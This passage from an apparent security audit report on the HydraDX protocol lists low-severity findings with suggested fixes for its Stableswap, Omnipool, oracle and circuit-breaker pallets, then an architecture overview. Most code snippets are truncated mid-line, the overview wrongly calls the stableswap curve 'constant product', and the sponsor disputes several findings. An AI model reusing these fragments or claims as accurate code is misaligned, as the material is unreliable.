+       total_shares,
-                               total_shares + 1,
```

Recommendation

Consider removing this constrain:

```
-       if shares > share_asset_issuance {
-               return None;
-       }
```

2. Huge loss of funds for the users and the protocol, if the pool is created with share_asset that does have a different decimals from 18 decimals

Affected code here and here.

The implementation of stableswap assumes that all the shares assets have 18 decimals only but there is no check for this in the function `create_pool`, which can allow set the `share_asset` to have any number of decimals. This will affect the whole pool since the normalization function scale all the reserves to 18 decimals in order to calculate D and Y parameters.

Impact

This will lead to huge loss of funds for the user and the protocol because of the wrong calculation of Y and D parameters.

Recommendation

Consider adding a check to ensure that the `share_asset` decimals are equal to 18 decimals. Add this check to the `do_create_pool` function:

```
+               ensure!(
```

```
+                        T::AssetInspection::decimals(sha
+                        Error::<T>::Invalid_decimals
+                ));
```

Omnipool

1. The `add_token()` function lacks a check to prevent exceeding the maximum weight cap which will disable liquidity provision

Affected code here.

Each token is assigned a maximum weight cap, specifying the maximum amount of hub asset that can be minted in its corresponding pool. If the quantity of hub asset paired (minted) with the added token surpasses its permitted weight capacity, liquidity provision will be frozen. This is because the `add_liquidity` function, here, incorporates a capacity constraint and exceeding this limit triggers the freezing of liquidity provision.

Recommendation

Check the cap of the asset in the function `add_token()`:

```
pub fn add_token(
        origin: OriginFor<T>,
        asset: T::AssetId,
        initial_price: Price,
        weight_cap: Permill,
        position_owner: T::AccountId,
) -> DispatchResult {

        ensure!(
                hub_reserve_ratio <= new_
                Error::<T>::AssetWeightCa
        );
```

2. Customizing the minimum trading limit on a per-asset basis is essential to facilitate liquidity provision for assets characterized by lower decimal precision and higher market prices

Affected code here.

Tokens like Gemini USD possess just 2 decimals, while others like USDC has 6 decimals. Within the `add_liquidity` function, it is crucial to align the `MinimumPoolLiquidity` with the amount of `hub_asset`. Failure to consider this alignment, particularly when the specified amount surpasses the `maxWeightCap` established for the asset, can result in the disabling of liquidity provision for that specific token.

To illustrate, let's take a low-decimal asset with 2 decimals and set its `MinimumPoolLiquidity` at `10,000`, equating to 100 units of that asset. If this quantity of tokens corresponds to an amount of hub assets exceeding the weight cap assigned to the asset. If the max weight cap for this asset is 20% of a total hub reserve is `100,000`, then the max amount of hub allowed to be added equal to `25,000` and if the corresponding hub asset for the 100 units of asset equal to `30,000`, liquidity provision for this asset becomes disabled. This underscores the necessity for a nuanced approach

in determining the minimum trading limit, ensuring the smooth provision of liquidity for assets with lower decimal precision and elevated market values, whether with 2 or 6 decimals.

Recommendation

Create a map type to store the `minimumPoolLiquidty` of each Pool, or can store this minimum limit in the asset registry. This will allow specify a suitable minimum limit to each asset in the omnipool.

3. The getter function can be used instead of repeating code to get the `hub_asset_liquidity` , to increase code simplicity

Affected code here and here.

The `get_hub_asset_balance_of_protocol_account()` function can be used instead of getting the balance of the protocol in each function like this:

```
-                    let current_hub_asset_liquidity = T:
+                        let hub_asset_liquidity = Sel
```

4. Should add `require_transactional` macro for the function that should perform storage update to make sure that storage mutated successfully

Affected code here.

As per the frame docs here, the `require_transactional` macro should be used if the function is executed within storage transaction.

The function `sell_hub_asset` should have `require_transactional` macro to make sure that storage update is done correctly; otherwise, this can allow execution without send the assets to the protocol and to the user,

which is considered loss of funds for the user and the protocol.

Recommendation

Add the `[require_transactional]` macro and consider adding this line to the function `sell_hub_asset`:

```
+       #[require_transactional]
        fn sell_hub_asset(
                origin: T::RuntimeOrigin,
                who: &T::AccountId,
                asset_out: T::AssetId,
                amount: Balance,
                limit: Balance,
        ) -> DispatchResult {
```

EMA Oracle

1. Prevent calling the funtcions `on_trade` and `on_liquidity_changed` with `asset_in = asset_out`, to prevent storing invalid prices

Affected code here and here.

The functions `on_trade` and `on_liquidity_changed` do not check if the `asset_in` equal `asset_out` or not, so this will allow storing invalid prices in the oracle.

The function `buy` on stableswap pallet does not prevent that `asset_in` to be equal to `asset_out`, as shown here:

```
                pub fn buy(
```

```
                origin: OriginFor<T>,
                pool_id: T::AssetId,
                asset_out: T::AssetId,
                asset_in: T::AssetId,
                amount_out: Balance,
                max_sell_amount: Balance,
        ) -> DispatchResult {
                let who = ensure_signed(origin)?;


                ensure!(
                        Self::is_asset_allowed(po
                                && Self::is_asset
                        Error::<T>::NotAllowed
                );


                ensure!(
                        amount_out >= T::MinTradi
                        Error::<T>::InsufficientT
                );
```

Recommendation

The function should prevent set `asset_in` to be equal to `asset_out`.

2. Prevent store prices from `on_trade` function with `amount_a` and `amount_b` equal to zero

Affected code here.

The `on_trade` function should be called by the `adapter` in order to store the price after a trade has been executed. In order to consider the price comes from a trade is valid, the amount traded should be greater than zero.

Recommendation

The function should check if the `amount_a` and `amount_b` are greater than zero, if not the function should return error. Consider adding this code to `on_trade` function:

```
                // We assume that zero liquidity values a
                if amount_a.is_zero() && amount_b.is_zero
                        log::warn!(
                                target: LOG_TARGET,
                                "trade amounts should not
                        );
                        return Err((Self::on_trade_weight
                }
```

Circuit Breaker

1. Should check that the amounts to be added or subtracted are greater than zero before executing the rest of the function and update the values

Affected code here and here.

The functions such as `ensure_and_update_trade_volume_limit`, and `ensure_and_update_add_liquidity_limit`, should make sure that the `amount_out` and `amount_in`, and `liquidity_added` are greater than zero before keeping execution of the code.

```
        fn ensure_and_update_trade_volume_limit(
                asset_in: T::AssetId,
                amount_in: T::Balance,
                asset_out: T::AssetId,
                amount_out: T::Balance,
        ) -> DispatchResult {
                // liquidity in
```

```
                // ignore Omnipool's hub asset
                if asset_in != T::OmnipoolHubAsset::get()
                        let mut allowed_liquidity_range =
                                .ok_or(Error::<T>::Liquic


                        allowed_liquidity_range.update_am
                        allowed_liquidity_range.check_lim


                        <AllowedTradeVolumeLimitPerAsset<
                }


                // liquidity out
                // ignore Omnipool's hub asset
                if asset_out != T::OmnipoolHubAsset::get(
                        let mut allowed_liquidity_range =
                                .ok_or(Error::<T>::Liquic


                        allowed_liquidity_range.update_am
                        allowed_liquidity_range.check_lim


                        <AllowedTradeVolumeLimitPerAsset<
                }


                Ok(())
        }
```

Recommendation

Check that those amounts are not equal to zero.

```
    ensure!(
```

```
                !amount_out.is_zero() && !amount_
                Error::<T>::invalidValues
        );
```

2. Potential liquidity addition freeze in Omnipool due to limited add functionality by the circuit breaker

Omnipool enforces a minimum limit of `1,000,000` for both adding and removing liquidity, regardless of the specific asset.

Due to that, there is no `Range` for the limits in the circuit breaker. Considering that the `default_max_add_liquidity_limit` is equal to 5%, the liquidity addition can be frozen by depositing the initial deposit equals to the `MinimumPoolLiquidity`, so if the initial liquidity is `1_000_000`, the max amount to be added in a single block allowed by the circuit breaker is 5000; which is much less than the minimum limit of liquidity set by the omnipool, so the liquidity addition will be frozen.

Recommendation

Set the max limit of adding liquidity of the asset in the circuit breaker to be equal to the minimum liquidity limit of the omnipool if the calculated max limit is below it.

```
fn calculate_and_store_liquidity_limits(asset_id:
        // we don't track liquidity limits for th
        if asset_id == T::OmnipoolHubAsset::get()
                return Ok(());
        }


        // add liquidity
        if let Some(limit) = Pallet::<T>::add_lic
                if !<AllowedAddLiquidityAmountPer
```

```
                                        let max_limit = Self::cal
+                   if (max_limit < 1_000_000) {
+                    max_limit = 1_000_000 ;
+                   }
                                        <AllowedAddLiquidityAmour
                                                asset_id,
                                                LiquidityLimit::<
                                                        limit: ma
                                                        liquidity
                                                },
                                        );
                                }
                        }
```

enthusiastmartin (HydraDX) acknowledged, but disagreed with severity and commented:

> This report has some points, but some of them are invalid assumptions. Some points are valid; although, without any impact, just informational.

> Stableswap 1 - Valid.
> Stableswap 2 - Invalid.
> Omnipool 1 - Invalid, it is not required to respect the weight cap.
> Omnipool 2 - Somewhat correct, but it is not designed to be like that. It is soft limit same for all assets.
> Omnipool 3 - Okay.
> Omnipool 4 - Okay.
> Oracle 1 - Okay.
> Oracle 2 - Okay.
> Circuit breaker 1 - Okay.
> Circuit breaker 1 - Not clear.

Lambda (judge) commented:

> Valid suggestions; although, the team chose to implement some of them differently (and there are arguments for both designs).

Audit Analysis

For this audit, 11 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by **hunter_w3b** received the top score from the judge.

The following wardens also submitted reports: castle_chain*,* popeye*,* yongskiws*,* fouzantanveer*,* carrotsmuggler*,* kaveyjoe*,* 0xSmartContract*,* ZanyBonzy*,* Franfran*, and* TheSchnilch*.*

Overview of the HydraDX Audit

HydraDX is a cutting-edge DeFi protocol designed to enhance liquidity within the `Polkadot` ecosystem. At its core, HydraDX operates as a cross-chain liquidity protocol built on Substrate, offering an open and permissionless platform for users. The protocol functions as a parachain within the `Polkadot` network, enabling native asset swaps within the ecosystem while also facilitating interoperability with other blockchain networks such as Ethereum.

One of the key innovations of `HydraDX` is its Omnipool, which serves as an AMM. Unlike traditional order book-based exchanges, where buyers and sellers create orders that are matched against each other, an AMM like the Omnipool provides liquidity through a single pool where assets are traded against the protocol itself. Liquidity providers contribute assets to the pool and earn rewards in return, helping to maintain liquidity for various trading pairs.

HydraDX addresses several challenges faced by existing `DEX` protocols, such as slippage, impermanent loss, and front-running. To overcome these challenges, `HydraDX` implements several innovative features. The Omnipool consolidates liquidity for all assets into a single pool, reducing slippage and improving trading efficiency. Additionally, the protocol employs an order matching engine connected to the AMM pool via an oracle, allowing for more efficient trade execution. Transaction fees can be paid in any currency, enhancing flexibility for users, and the protocol supports dollar-cost averaging, automating asset purchases at regular intervals regardless of price fluctuations. Looking ahead, HydraDX is exploring additional features such as zkRollups for transaction scalability, resistance mechanisms against front-running, and the introduction of new financial instruments like lending, derivatives, and synthetics. The protocol also utilizes a LBP model to distribute tokens and bootstrap liquidity, ensuring a fair and sustainable ecosystem for users and the community.

System Overview

Omnipool

1. **lib.rs**: This contract implements a DEX using an AMM model on the Substrate framework. It allows users to trade assets without intermediaries by pooling liquidity from providers and using on-chain math functions to calculate state changes during operations like `adding/removing` liquidity or executing swaps. Key functions allow managing the assets, positions represented as NFTs, and trades, while adhering to parameters like price barriers and dynamic fees. Precise updates to the pool reserves and hub asset imbalance are performed through hooks and events provide transparency. The non-custodial and low fee nature of the omnipool model enables greater decentralization and accessibility for traders compared to order-book based `HydraDX` alternatives.

Here's a breakdown of the key functions:

- **Protocol Account:**
- `protocol_account()` : Returns the protocol account address, which is used for managing the omnipool's assets.
- **Asset Management:**
- `load_asset_state(asset_id)` : Retrieves the state of an asset, including its reserve and tradability.
- `set_asset_state(asset_id, new_state)` : Sets the new state of an asset.
- `add_asset(asset_id, state)` : Adds a new asset to the omnipool.
- `update_asset_state(asset_id, delta)` : Updates the state of an asset with the given delta changes.
- `remove_asset(asset_id)` : Removes an asset from the omnipool.
- `allow_assets(asset_in, asset_out)` : Checks if the given assets can be traded based on their tradability.
- `sell_hub_asset(origin, who, asset_out, amount, limit)` : Swaps hub asset for `asset_out` .
- `buy_asset_for_hub_asset(origin, who, asset_out, amount, limit)` : Swaps asset for hub asset.
- `buy_hub_asset(who, asset_in, amount, limit)` : Buys hub asset from the pool.
- `sell_asset_for_hub_asset(who, asset_in, amount, limit)` : Sells asset for hub asset.
- **Position Management:**
- `create_and_mint_position_instance(owner)` : Generates an

NFT instance ID and mints an NFT for the position.

- `set_position(position_id, position)` : Inserts or updates a position with the given data.
- `load_position(position_id, owner)` : Loads a position and checks its owner.
- **Other Functions:**
- `get_hub_asset_balance_of_protocol_account()` : Returns the hub asset balance of the protocol account.
- `is_hub_asset_allowed(operation)` : Checks if the given operation is allowed for the hub asset.
- `exists(asset)` : Checks if an asset exists in the omnipool.
- `process_trade_fee(trader, asset, amount)` : Calls the `on_trade_fee` hook and ensures that no more than the fee amount is transferred.
- `process_hub_amount(amount, dest)` : Processes the given hub amount by transferring it to the specified destination or burning it if the transfer fails.

2. **types.rs**: The codebase defines types and structures used in an Omnipool.

   Here's a breakdown of the key functions:

   - **Types:**
   - `Balance` : This type represents the balance of an asset and is implemented as a `u128` .
   - `Price` : This type represents the price of an asset and is implemented as a `FixedU128` .
   - `Tradability` : This bitflag type indicates whether an asset can be

bought, sold, or have liquidity added or removed.

- `AssetState` : This type stores the state of an asset in the Omnipool, including its hub reserve, LP shares, protocol shares, weight cap, and tradability.
- `Position` : This type represents a liquidity position in the Omnipool, including the asset ID, amount added, LP shares owned, and the price at which liquidity was provided.
- `SimpleImbalance` : This type represents an imbalance, which can be positive or negative.
- `AssetReserveState` : This type stores the state of an asset reserve, including its reserve, hub reserve, LP shares, protocol shares, weight cap, and tradability.
- **Functions:**
- `impl From<AssetReserveState<Balance>> for AssetState<Balance>` : Converts an `AssetReserveState` to an `AssetState` .
- `impl From<(MathReserveState<Balance>, Permill, Tradability)> for AssetState<Balance>` : Converts a tuple of `MathReserveState` , `Permill` , and `Tradability` to an `AssetState` .
- `impl From<&Position<Balance, AssetId>> for hydra_dx_math::omnipool::types::Position<Balance>` : Converts a `Position` to a `Position` in the `hydra_dx_math::omnipool::types` module.
- `impl Position<Balance, AssetId>` : Provides methods to update the position state with delta changes.
- `impl Add<Balance> for SimpleImbalance<Balance>` : Adds a `Balance` to a `SimpleImbalance` .

- `impl Sub<Balance> for SimpleImbalance<Balance>` : Subtracts a `Balance` from a `SimpleImbalance` .
- `impl From<&AssetReserveState<Balance>> for MathReserveState<Balance>` : Converts an `AssetReserveState` to a `MathReserveState` .
- `impl From<AssetReserveState<Balance>> for MathReserveState<Balance>` : Converts an `AssetReserveState` to a `MathReserveState` .
- `impl From<(&AssetState<Balance>, Balance)> for AssetReserveState<Balance>` : Converts a tuple of `AssetState` and `Balance` to an `AssetReserveState` .
- `impl From<(AssetState<Balance>, Balance)> for AssetReserveState<Balance>` : Converts a tuple of `AssetState` and `Balance` to an `AssetReserveState` .
- `impl AssetReserveState<Balance>` : Provides methods to calculate the price and weight cap of an asset, and update the asset state with delta changes.
- **Key Features:**
    - The `Tradability` bitflag provides a convenient way to represent the tradability of an asset.
    - The `SimpleImbalance` type provides a simple way to represent imbalances, which can be positive or negative.
    - The `AssetReserveState` type provides a comprehensive representation of an asset reserve's state in the Omnipool.
    - The `Position` type provides a complete representation of a liquidity position in the Omnipool.
    - The functions provided allow for the conversion between

different representations of assets, liquidity positions, and imbalances.

3. **traits.rs**: This contract defines `traits`, `structs`, and implementations facilitating the management of an Omnipool, including hooks for liquidity changes and trades, external price fetching, and enforcing price constraints.

   Here's a breakdown of the key functions:

   - **Traits:**
   - `OmnipoolHooks`: This trait defines hooks that can be implemented to perform custom actions when liquidity is changed or a trade occurs in the Omnipool.
   - `ExternalPriceProvider`: This trait defines an interface for an external price provider that can be used to get the price of an asset pair.
   - `ShouldAllow`: This trait defines a way to validate whether a price change is allowed.
   - **Types:**
   - `AssetInfo`: This type stores information about an asset before and after a liquidity change or trade.
   - `EnsurePriceWithin`: This type implements the `ShouldAllow` trait and ensures that the price of an asset is within a certain range of the current spot price and the external oracle price.
   - **Key Features:**
   - The `OmnipoolHooks` trait provides a way to hook into the Omnipool protocol and perform custom actions when liquidity is changed or a trade occurs.
   - The `ExternalPriceProvider` trait provides a way to get the price

of an asset pair from an external source.

- The `ShouldAllow` trait provides a way to validate whether a price change is allowed.
- The `EnsurePriceWithin` type implements the `ShouldAllow` trait and ensures that the price of an asset is within a certain range of the current spot price and the external oracle price.

Omnipool Math

1. **math.rs**: This codebase implements a set of functions for calculating the delta changes in the state of an asset pool when various liquidity-related operations are performed, such as selling, buying, adding liquidity, removing liquidity, and calculating the total value locked (TVL) and cap difference.

   Here's a breakdown of the key functionality of the contract:

   - **Selling an asset:**
   - `calculate_sell_state_changes` : Calculates the delta changes in the state of the asset pool when an asset is sold. It takes the current state of the asset in and out, the amount being sold, and the asset and protocol fees as input. It calculates the delta changes in the hub and reserve balances of both assets, the delta change in the imbalance, and the fee amounts.
   - `calculate_sell_hub_state_changes` : Calculates the delta changes in the state of the asset pool when the asset being sold is the Hub asset. It takes the current state of the asset out, the amount of Hub asset being sold, the asset fee, the current imbalance, and the total hub reserve as input. It calculates the delta changes in the reserve and hub reserve balances of the asset out, the delta change in the imbalance, and the fee amount.
   - **Buying an asset:**

- `calculate_buy_for_hub_asset_state_changes` : Calculates the delta changes in the state of the asset pool when the asset being bought is the Hub asset. It takes the current state of the asset out, the amount of asset out being bought, the asset fee, the current imbalance, and the total hub reserve as input. It calculates the delta changes in the reserve and hub reserve balances of the asset out, the delta change in the imbalance, and the fee amount.
- `calculate_buy_state_changes` : Calculates the delta changes in the state of the asset pool when an asset is bought. It takes the current state of the asset in and out, the amount being bought, the asset and protocol fees, and the current imbalance as input. It calculates the delta changes in the hub and reserve balances of both assets, the delta change in the imbalance, and the fee amounts.
- **Adding liquidity:**
- `calculate_add_liquidity_state_changes` : Calculates the delta changes in the state of the asset pool when liquidity is added. It takes the current state of the asset, the amount being added, the current imbalance, and the total hub reserve as input. It calculates the delta changes in the hub and reserve balances of the asset, the delta change in the shares, and the delta change in the imbalance.
- **Removing liquidity:**
- `calculate_remove_liquidity_state_changes` : Calculates the delta changes in the state of the asset pool when liquidity is removed. It takes the current state of the asset, the shares being removed, the position from which liquidity should be removed, the current imbalance, the total hub reserve, and the withdrawal fee as input. It calculates the delta changes in the hub and reserve balances of the asset, the delta change in the shares, the delta change in the imbalance, the amount of Hub asset transferred to the LP, and the delta changes in the position's reserve and shares.

- **Calculating TVL and cap difference:**
- `calculate_tvl` : Calculates the total value locked (TVL) in the asset pool. It takes the hub reserve and the stable asset reserve as input. It calculates the TVL by multiplying the hub reserve by the stable asset reserve and dividing by the stable asset's hub reserve.
- `calculate_cap_difference` : Calculates the difference between the current weight of an asset in the pool and its weight cap. It takes the current state of the asset, the asset cap, and the total hub reserve as input. It calculates the weight cap, the maximum allowed hub reserve, the price of the asset, and the cap difference.
- `calculate_tvl_cap_difference` : Calculates the difference between the current TVL of the asset pool and its TVL cap. It takes the current state of the asset, the current state of the stable asset, the TVL cap, and the total hub reserve as input. It calculates the TVL cap, the maximum allowed hub reserve, the price of the asset, and the TVL cap difference.
- `verify_asset_cap` : Verifies if the weight of an asset in the pool exceeds its weight cap. It takes the current state of the asset, the asset cap, the hub amount being added, and the total hub reserve as input. It calculates the weight of the asset and compares it to the weight cap.

2. **types.rs**: This contract defines structs and implementations related to asset reserves, liquidity pools, and trading mechanics, including functions for updating asset states, calculating prices, and handling balance updates.

   Here's a breakdown of the key functions:

   - `AssetReserveState` : Represents the current state of an asset in the Omnipool, including its reserve, hub reserve, and LP shares.

- `BalanceUpdate` : Indicates whether the balance of an asset should be increased or decreased, and by how much.
- `AssetStateChange` : Tracks delta changes in asset state, such as reserve, hub reserve, and shares.
- `TradeFee` : Stores information about trade fees, including the asset fee and protocol fee.
- `TradeStateChange` : Represents the changes in asset states after a trade is executed, including fee information.
- `LiquidityStateChange` : Tracks delta changes in asset states and other parameters after liquidity is added or removed.
- `Position` : Represents the amount of asset added to the Omnipool and the corresponding LP shares owned by the LP.

Stableswap

1. **lib.rs**: It implements a Curve-style stablecoin AMM with up to 5 assets in a pool. Pools are created by an authority and have a pricing formula based on amplification. Also implements a stableswap pallet for the HydraDX runtime.The stableswap pallet allows for the creation of liquidity pools for stablecoins, which are asset that are pegged to a usd. Stablecoins are designed to be less volatile than other assets, making them more suitable for use in everyday transactions. The stableswap pallet uses a constant product formula to calculate the price of assets in a pool. This formula ensures that the price of an asset in a pool is always proportional to the amount of that asset in the pool.

   Here's a breakdown of the key functionality:

   - **Pool creation:** Pools can be created by any account that has the `AuthorityOrigin` role. When a pool is created, the creator must specify the following information:

- The pool's share asset: The share asset is a token that represents ownership of a share of the pool.
- The pool's assets: The pool's assets are the stablecoins that will be traded in the pool.
- The pool's amplification: The pool's amplification is a parameter that can be used to adjust the shape of the constant product curve.
- The pool's trade fee: The pool's trade fee is a fee that is charged on all trades executed in the pool.
- **Liquidity addition:** Liquidity can be added to a pool by any account that has the `LiquidityProviderOrigin` role. When liquidity is added to a pool, the provider must specify the following information:
- The pool's share asset: The share asset is the token that represents ownership of a share of the pool.
- The pool's assets: The pool's assets are the stablecoins that will be traded in the pool.
- The amount of liquidity to add: The amount of liquidity to add is the amount of each asset that the provider is willing to contribute to the pool.
- **Liquidity removal:** Liquidity can be removed from a pool by any account that has the `LiquidityProviderOrigin` role. When liquidity is removed from a pool, the provider must specify the following information:
- The pool's share asset: The share asset is the token that represents ownership of a share of the pool.
- The pool's assets: The pool's assets are the stablecoins that will be traded in the pool.
- The amount of liquidity to remove: The amount of liquidity to remove is the amount of each asset that the provider wants to

withdraw from the pool.

- **Trading:** Trades can be executed in a pool by any account that has the `TraderOrigin` role. When a trade is executed, the trader must specify the following information:
- The pool's share asset: The share asset is the token that represents ownership of a share of the pool.
- The pool's assets: The pool's assets are the stablecoins that will be traded in the pool.
- The amount of the input asset: The amount of the input asset is the amount of the asset that the trader is willing to trade.
- The amount of the output asset: The amount of the output asset is the amount of the asset that the trader wants to receive.

2. **types.rs**: This codebase defines data structures and traits related to the management of stable pools. It includes representations of pool properties, asset amounts, tradability flags, and interfaces for interacting with the oracle and calculating weights.

   Here's a breakdown of the key functionality:

   - `PoolInfo`
   - The `PoolInfo` struct defines the properties of a stable pool.
   - It includes the following fields:
     - `assets` : List of asset IDs in the pool.
     - `initial_amplification` : Initial amplification parameter.
     - `final_amplification` : Final amplification parameter.
     - `initial_block` : Block number at which the pool was created.

    - `final_block` : Block number at which the amplification parameter will reach its final value.
    - `fee` : Trade fee to be withdrawn on sell/buy operations.

- It provides methods to find an asset by ID and check if the pool is valid (has at least two unique assets).
- `AssetAmount`
- The `AssetAmount` struct represents the amount of an asset with a specified asset ID.
- It can be converted to and from a `u128` balance value.
- `Tradability`
- The `Tradability` flag indicates whether an asset can be bought, sold, or have liquidity added or removed.
- It is represented as a bitmask with the following flags:

    - `FROZEN` : Asset is frozen and no operations are allowed.
    - `SELL` : Asset can be sold into the stable pool.
    - `BUY` : Asset can be bought from the stable pool.
    - `ADD_LIQUIDITY` : Liquidity of the asset can be added.
    - `REMOVE_LIQUIDITY` : Liquidity of the asset can be removed.

- By default, all operations are allowed.
- `PoolState`
- The `PoolState` struct tracks the state of a stable pool before and after an operation.
- It includes the following fields:

    - `assets` : List of asset IDs in the pool.

    - `before` : Balances of assets before the operation.
    - `after` : Balances of assets after the operation.
    - `delta` : Difference in balances between before and after.
    - `issuance_before` : Total issuance before the operation.
    - `issuance_after` : Total issuance after the operation.
    - `share_prices` : Share prices of the assets in the pool.
- `StableswapHooks`
    - The `StableswapHooks` trait defines an interface for interacting with the oracle and calculating weights.
    - It includes the following methods:
    - `on_liquidity_changed` : Called when liquidity is added or removed from a pool.
    - `on_trade` : Called when a trade occurs in a pool.
    - `on_liquidity_changed_weight` : Calculates the weight for liquidity changed operations.
    - `on_trade_weight` : Calculates the weight for trade operations.
    - The default implementation of this trait does nothing and returns zero weight.

Stableswap Math

1. **math.rs**: The contract implementing functions for a stableswap pool, used for AMM with multiple assets, incorporating features such as calculating asset amounts for liquidity provision, trading between assets with fees, and determining the number of shares to be distributed to liquidity providers based on their contribution. The contract

implements formulas for calculating the D invariant, representing the product of reserves to maintain stable trading ratios between assets, and the Y reserve value, used in trading calculations within the pool. These calculations are performed using mathematical operations and iterative algorithms to ensure accuracy and stability within the automated market making system.

Here's a breakdown of the key function:

- `calculate_d` : Calculates the pool's `D` invariant.
- `calculate_y` : Calculates new reserve amounts.
- `calculate_shares` : Handles share minting.
- `normalize_value` : Ensures consistent precision.
- `calculate_out_given_in` / `in_given_out` Handles trades.

2. **types.rs**: This contract an implementation of the StableSwap for calculating the amount of tokens to be received or sent to a liquidity pool given the amount of tokens to be sent or received from the pool, respectively. That is use a mathematical formula that ensures that the ratio of the reserves of the different assets in the pool remains constant, even as tokens are added or removed from the pool.

   Here's a breakdown of the key functionality:

   - `calculate_out_given_in` : Calculates the amount of tokens to be received from the pool given the amount of tokens to be sent to the pool.
   - `calculate_in_given_out` : Calculates the amount of tokens to be sent to the pool given the amount of tokens to be received from the pool.
   - `calculate_out_given_in_with_fee` : Calculates the amount of

tokens to be received from the pool given the amount of tokens to be sent to the pool, taking into account a fee.

- `calculate_in_given_out_with_fee` : Calculates the amount of tokens to be sent to the pool given the amount of tokens to be received from the pool, taking into account a fee.
- `calculate_shares` : Calculates the amount of shares to be given to a liquidity provider after they have provided liquidity to the pool.
- `calculate_shares_for_amount` : Calculates the amount of shares to be given to a liquidity provider after they have provided a specific amount of a single asset to the pool.
- `calculate_withdraw_one_asset` : Calculates the amount of a specific asset to be withdrawn from the pool by a liquidity provider, given the amount of shares they have in the pool.
- `calculate_add_one_asset` : Calculates the amount of a specific asset that needs to be added to the pool by a liquidity provider in order to receive a specific number of shares in the pool.
- `calculate_d` : Calculates the "D" invariant of the StableSwap algorithm, which is a mathematical value that remains constant as tokens are added or removed from the pool.
- `calculate_y_given_in` : Calculates the new reserve of an asset in the pool given the amount of that asset to be added to the pool.
- `calculate_y_given_out` : Calculates the new reserve of an asset in the pool given the amount of that asset to be removed from the pool.

EMA Oracle

1. **lib.rs**: The code is implementation of an `EMA` oracle for the protocol. The EMA oracle is used to track the price, volume, and liquidity of assets traded on the `HydraDX` over time. The oracle is implemented as

a pallet in the Substrate framework.

Here's a breakdown of the key functionality:

- `on_trade` : This function is called when a trade occurs on the `HydraDX` . It updates the EMA oracle with the new trade data.
- `on_liquidity_changed` : This function is called when the liquidity of an asset pair changes on the `HydraDX` . It updates the EMA oracle with the new liquidity data.
- `get_entry` : This function is used to retrieve the current value of the EMA oracle for a given asset pair and period.
- `get_price` : This function is used to retrieve the current price of an asset pair from the EMA oracle.

2. **types.rs**: The `types.rs` contract using the exponential moving average (EMA). It maintains a set of EMA oracles for each asset pair and period, and updates them whenever a trade or liquidity change occurs on the `HydraDX` .

   Here's a breakdown of the key functionality:

   - `OracleEntry` : This struct represents a single oracle entry, which includes the price, volume, liquidity, and updated timestamp.
   - `calculate_new_by_integrating_incoming` : This function calculates a new oracle entry by integrating the incoming data with the previous oracle entry.
   - `update_to_new_by_integrating_incoming` : This function updates the current oracle entry with the new oracle entry calculated by `calculate_new_by_integrating_incoming` .
   - `calculate_current_from_outdated` : This function calculates the

current oracle entry from an outdated oracle entry.

- `update_outdated_to_current` : This function updates the current oracle entry with the current oracle entry calculated by `calculate_current_from_outdated` .

EMA Oracle Math

1. **math.rs**: The contract defines functions for calculating exponential moving averages (EMAs) and performing weighted averages for oracle values in a `HydraDX` .

   - **EMA:** A type of moving average that gives more weight to recent values.
   - **Oracle:** A service that provides external data (e.g., asset prices) to a blockchain.
   - **Weighted average:** A calculation where each value is multiplied by a weight before being averaged.

   Here's a breakdown of the key functions:

   - `calculate_new_by_integrating_incoming` : Calculates new oracle values by integrating incoming values with previous values, using a specified smoothing factor.
   - `update_outdated_to_current` : Updates outdated oracle values to current values, using a smoothing factor and the number of iterations since the outdated values were calculated.
   - `iterated_price_ema` : Calculates the iterated EMA for prices.
   - `iterated_balance_ema` : Calculates the iterated EMA for balances.
   - `iterated_volume_ema` : Calculates the iterated EMA for volumes.

- `iterated_liquidity_ema` : Calculates the iterated EMA for liquidity values.
- `exp_smoothing` : Calculates the smoothing factor for a given period.
- `smoothing_from_period` : Calculates the smoothing factor based on a specified period.
- `price_weighted_average` : Calculates a weighted average for prices, giving more weight to the incoming value.
- `balance_weighted_average` : Calculates a weighted average for balances, giving more weight to the incoming value.
- `volume_weighted_average` : Calculates a weighted average for volumes, giving more weight to the incoming value.
- `liquidity_weighted_average` : Calculates a weighted average for liquidity values, giving more weight to the incoming value.

Circuit breaker

1. **lib.rs**: This contract is pallet for the Substrate framework. It defines a pallet named `pallet` that manages circuit breakers for trade volume and liquidity limits in a `HydraDX` .

   Here's a breakdown of the key functionalities:

   - **Config Trait**: The `Config` trait defines the requirements that the pallet has on the runtime environment.
   - It includes:
   - `RuntimeEvent` : The type of events that the pallet can emit.
   - `AssetId` : The type representing the identifier of an asset.
   - `Balance` : The type representing the balance of an asset.

- `TechnicalOrigin` : The origin that is allowed to change trade volume limits.
- `WhitelistedAccounts` : The list of accounts that bypass liquidity limit checks.
- `DefaultMaxNetTradeVolumeLimitPerBlock` : The default maximum percentage of a pool's liquidity that can be traded in a block.
- `DefaultMaxAddLiquidityLimitPerBlock` : The default maximum percentage of a pool's liquidity that can be added in a block.
- `DefaultMaxRemoveLiquidityLimitPerBlock` : The default maximum percentage of a pool's liquidity that can be removed in a block.
- `OmnipoolHubAsset` : The asset ID of the Omnipool's hub asset.
- `WeightInfo` : The weight information for the pallet's extrinsic.
- **Pallet Implementation**: The implementation of the pallet includes various functions and methods:
- `initialize_trade_limit` : Initializes the trade volume limit for an asset if it doesn't exist.
- `calculate_and_store_liquidity_limits` : Calculates and stores the liquidity limits for an asset if they don't exist.
- `ensure_and_update_trade_volume_limit` : Ensures that the trade volume limit for an asset is not exceeded and updates the allowed trade volume limit for the current block.
- `ensure_and_update_add_liquidity_limit` : Ensures that the add liquidity limit for an asset is not exceeded and updates the allowed add liquidity amount for the current block.
- `ensure_and_update_remove_liquidity_limit` : Ensures that the remove liquidity limit for an asset is not exceeded and updates the

allowed remove liquidity amount for the current block.

- `validate_limit` : Validates a limit value.
- `calculate_limit` : Calculates the limit value based on the provided liquidity and limit ratio.
- `ensure_pool_state_change_limit` : Ensures that the trade volume limit is not exceeded when performing a pool state change.
- `ensure_add_liquidity_limit` : Ensures that the add liquidity limit is not exceeded.
- `ensure_remove_liquidity_limit` : Ensures that the remove liquidity limit is not exceeded.
- `is_origin_whitelisted_or_root` : Checks if the provided origin is whitelisted or is the root account.

Roles

Omnipool

1. **lib.rs**
2. **types.rs**

- **Tradability**:
- Role: Represents the tradability status of an asset within the Omnipool.
- Responsibilities: Defines whether an asset can be bought or sold into the Omnipool and whether liquidity can be added or removed.
- Relevant Code: `Tradability` enum and its associated methods.
- **AssetState**:
